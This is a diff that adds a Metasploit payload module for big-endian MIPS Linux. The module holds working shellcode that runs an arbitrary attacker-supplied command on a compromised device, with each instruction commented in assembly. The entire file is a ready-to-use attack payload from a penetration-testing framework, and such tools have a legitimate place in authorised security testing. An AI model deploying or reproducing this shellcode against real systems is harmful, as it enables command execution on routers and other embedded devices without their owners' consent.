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+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Execute Command',
+      'Description'   => %q{
+                A very small shellcode for executing commands.
+                This module is sometimes helpful for testing purposes.
+         },
+      'Author'        =>
+        [
+          'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload
+          'entropy@phiral.net'  #original payload
+        ],
+      'References'    =>
+        [
+          ['EDB', '17940']
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Payload'       =>
+        {
+          'Offsets' => {} ,
+          'Payload' => ''
+        })
+    )
+    register_options(
+      [
+        OptString.new('CMD', [ true, "The command string to execute" ]),
+      ], self.class)
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    return datastore['CMD'] || ''
+  end
+
+  def generate
+
+    shellcode =
+      "\x24\x06\x06\x66" + #li a2,1638
+      "\x04\xd0\xff\xff" + #bltzal a2,4100b4
+      "\x28\x06\xff\xff" + #slti a2,zero,-1
+      "\x27\xbd\xff\xe0" + #addiu sp,sp,-32
+      "\x27\xe4\x10\x01" + #addiu a0,ra,4097
+      "\x24\x84\xf0\x1f" + #addiu a0,a0,-4065
+      "\xaf\xa4\xff\xe8" + #sw a0,-24(sp)
+      "\xaf\xa0\xff\xec" + #sw zero,-20(sp)
+      "\x27\xa5\xff\xe8" + #addiu a1,sp,-24
+      "\x24\x02\x0f\xab" + #li v0,4011
+      "\x01\x01\x01\x0c"   #syscall 0x40404
+
+    #
+    # Constructs the payload
+    #
+    return super + shellcode + command_string + "\x00"
+
+  end
+
+end